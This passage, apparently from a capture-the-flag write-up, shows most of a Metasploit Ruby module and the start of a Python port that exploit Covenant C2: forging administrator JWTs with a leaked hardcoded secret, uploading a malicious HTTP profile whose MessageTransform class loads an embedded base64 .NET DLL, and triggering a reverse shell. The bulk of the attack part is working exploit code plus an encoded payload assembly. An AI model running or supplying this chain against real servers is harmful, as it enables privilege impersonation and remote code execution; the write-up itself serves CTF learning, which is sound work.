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'
    payload =
"""public static class MessageTransform {
  public static string Transform(byte[] bytes) {
    try {
      string assemblyBase64 = \"#{dll}\";
      var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
      var assembly = System.Reflection.Assembly.Load(assemblyBytes);
      foreach (var type in assembly.GetTypes()) {
        object instance = System.Activator.CreateInstance(type);
        object[] args = new object[] { new string[] { \"\" } };
        try {
          type.GetMethod(\"Main\").Invoke(instance, args);
        }
        catch {}
      }
    }
    catch {}
    return System.Convert.ToBase64String(bytes);
  }

  public static byte[] Invert(string str) {
    return System.Convert.FromBase64String(str);
  }
}"""
  end

  def is_admin(user)
    roles = JSON.parse(read_user_role(user['id']))

    ret = false
    roles.each do |role|
      ret = true if role['roleId'] == @roleid_admin
    end

    ret
  end

  def list_users
    request_api('GET', normalize_uri('api', 'users')).body
  end

  def read_grunt_cfg
    data = {
      'id': 0,
      'listenerId': read_listener_id,
      'implantTemplateId': 1,
      'name': 'Binary',
      'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
      'type': 'binary',
      'dotNetVersion': 'Net35',
      'runtimeIdentifier': 'win_x64',
      'validateCert': true,
      'useCertPinning': true,
      'smbPipeName': 'string',
      'delay': 0,
      'jitterPercent': 0,
      'connectAttempts': 0,
      'launcherString': 'GruntHTTP.exe',
      'outputKind': 'consoleApplication',
      'compressStager': false
    }

    # gerenate grunt payload
    response = request_api('PUT', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
    if !response.nil?
      response = request_api('POST', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
    end

    if !response.nil?
      return parse_grunt_cfg(response.body)
    end

    nil
  end

  def read_listeners
    response = request_api('GET', normalize_uri('api', 'listeners'))
    return response.body unless response.nil?
    nil
  end

  def read_listener_id
    listeners = read_listeners
    unless listeners.nil?
      listeners = JSON.parse(listeners)
      listeners.each do |listener|
        return listener['id'].to_i if listener['name'] == @listener_name
      end
    end

    return(-1)
  end

  def read_listener_type(name)
    response = request_api('GET', normalize_uri('api', 'listeners', 'types'))
    unless response.nil?
      listeners_types = JSON.parse(response.body)
      listeners_types.each do |listener_type|
        if listener_type['name'].downcase == name.downcase
          return listener_type['id'].to_i
        end
      end
    end
    return(-1)
  end

  def read_roleid_admin
    roles = request_api('GET', normalize_uri('api', 'roles')).body
    role_id = ''

    roles = JSON.parse(roles)
    roles.each do |role|
      if role['name'].downcase == 'administrator'
        role_id = role['id']
      end
    end

    role_id
  end

  def read_user_role(id)
    request_api('GET', normalize_uri('api', 'users', id, 'roles')).body
  end

  def request_api(method, uri, data = nil)
    headers = {}
    headers['Authorization'] = "Bearer #{@token}"

    request = {
      'method' => method,
      'uri' => uri,
      'headers' => headers
    }

    if method =~ /POST|PUT/
      request = request.merge({'ctype' => 'application/json', 'data' => data}) unless data.nil?
    end

    response = send_request_cgi(request)
    if response && response.code.to_s =~ /200|201/
      return response
    end

    nil
  end

  def message(msg)
    "#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def parse_grunt_cfg(cfg)
    cfg = JSON.parse(cfg)

    # TODO: better way (https://rubular.com/)
    aes_key = cfg['stagerCode'].match(/.*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);.*$/).to_s.split("\"")[1]
    guid_prefix = cfg['stagerCode'].match(/.*string\saGUID\s=\s@\"(.*?)\";.*$/).to_s.split("\"")[1]

    return([aes_key, guid_prefix])
  end

  def random_id
    "#{SecureRandom.hex(4)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(6)}"
  end

  def upload_profile
    data = {
      'httpUrls': [
        '/en-us/index.html',
        '/en-us/docs.html',
        '/en-us/test.html'
      ],
      'httpRequestHeaders': [
        {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
        {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
      ],
      'httpResponseHeaders': [
        {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
      ],
      'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
      'httpGetResponse': '{DATA}',
      'httpPostResponse': '{DATA}',
      'id': 0,
      'name': "#{SecureRandom.hex(5)}",
      'description': '',
      'type': 'HTTP',
      'messageTransform': "#{generate_transform_payload}"
    }

    response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
    return response['location'].split('/')[-1] unless response.nil?

    nil
  end

  def check
    @ip_address = datastore['RHOST']

    print_status(message('Trying to connect.'))

    # generate jwt token w/ ramdomized username.
    @token = generate_jwt

    unless list_users.nil?
      report_vuln(
        host: @ip_address,
        name: name,
        refs: references,
      )

      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    # check for active listener conflict.
    if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
      fail_with(Failure::Unknown, "The remote Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
    end

    print_status(message('Generating admin token w/ leaked JWT secret.'))

    # generate jwt token w/ ramdomized username.
    @token = generate_jwt

    print_status(message('Impersonating an admin user... finding token fields:'))

    # get role id with administrative right.
    @roleid_admin = read_roleid_admin
    print_good(message(" * found admin UID: #{@roleid_admin}."))

    users = JSON.parse(list_users)
    users.each do |user|
      next if user['userName'].downcase == 'serviceuser'

      if is_admin(user)
        print_good(message(" * found admin user: #{user['userName']}"))
        print_status(message('Generating new admin token w/ leaked JWT secret.'))

        # generate jwt token w/ spoofed username and user id.
        @token = generate_jwt(user['userName'], user['id'])

        break
      end
    end

    # generate and upload malicious profile.
    print_status(message('Genarate and inject malicious profile.'))
    profile_id = upload_profile
    
    fail_with(Failure::Unknown, 'Could not upload the malicious profile.') if profile_id.nil?

    # create a listener w/ embeded malicious profile.
    @listener_name = SecureRandom.hex(4)
    if create_listener(profile_id.to_i) == false
      fail_with(Failure::Unknown, 'Could not create the malicious listener.')
    end

    print_status(message('Get GRUNT configuration:'))

    # get grunt configuration (guid prefix and aes key).
    aes_key, guid_prefix = read_grunt_cfg

    print_good(message(" * AES key: #{aes_key}"))
    print_good(message(" * GUID prefix: #{guid_prefix}"))

    print_status(message('Sending stage0 to trigger exploitation.'))

    # trigger the exploitation.
    generate_stage0(aes_key, "#{guid_prefix}#{SecureRandom.hex(5)}")
  end

end

This exploit still teaches us something important: the methodology of the attack. We will try to inject a dotnet DLL into the Covenant process, which necessarily has System Administrator privileges, by abusing the administrator token that we previously generated. The feat is divided into 5 stages:

  • We retrieve the list of users and craft the admin token
  • We use the admin token to create a malicious profile on the covenant in which we will place a corrupted DLL which, when executed, launches a reverse shell. To do this, we use the MessageTransform option which allows you to personalize the encoding of communications between the C2 and an infected victim. The MessageTransform option takes as a parameter the code of a C# dotnet class (which must be called MessageTransform ). Unfortunately, we cannot launch the reverse shell directly from the MessageTransform class that we have just created, because it does not have access to all the functionality of the namespace System (necessary to execute commands). However, we have access to all the classes necessary to inject a DLL into the process’s memory (the Activator classes of System and Assembly of System.Reflection ). As explained in the article, using a DLL that we are going to invoke allows us to override this restriction.
  • We create a malicious listener linked to the malicious profile
  • We retrieve the grunts configuration of our listener
  • We launch the final stage: we connect to the Covenant listener that we created, which has the effect of activating the corrupted DLL and popping the reverse shell.

As my favorite language is python, and I know nothing about Ruby, I finally motivate myself to (re)program the entire exploit in python. It was very long and tedious, but I managed to achieve my goals. I leave it to the reader to ask these questions in comments.

import jwt
import time
import requests
from colorama import *
import random
import base64
import time
import sys
import re
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib
import json
import socket
import subprocess


def randomhex(size) -> str:
    char = "abcdef0123456789"
    random_hex = ""
    for i in range(0,size*2):
      random_hex += random.choice(char)
    return random_hex
def random_jti() -> str:
    f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
    return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
def crypt_sha256(content):
  crypto = hashlib.sha256()
  if isinstance(content,str): content = content.encode()
  crypto.update(content)
  return crypto.digest()
def _pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
class exploit():
    def __init__(self):
      self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
      self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
      self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
      self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
      self.c2_port = 0 # port sur lequel le client va se connecter
      self.ADMIN_NAME = ""
      self.ADMIN_ID = ""
      self.ADMIN_TOKEN = ""
    def _gen_jwt(self,USER,USERID):
        EXPIRATION = 1968264576
        content = {
            "sub": USER,
            "jti": random_jti(),
            "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
            "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
          "User",
          "Administrator"
            ],
            "exp": EXPIRATION,
            "iss": "Covenant",
            "aud": "Covenant"
        }
        return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')

    def get_user_list(self) -> dict:
        USER = "hackline"
        USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
        token = self._gen_jwt(USER,USERID)
        r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
        for user in r.json():
          print("""- %s : %s""" % (user["userName"],user["id"]))
        return r.json()

    def generate_transform_payload(self):
      # POC: execute calc
      #dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
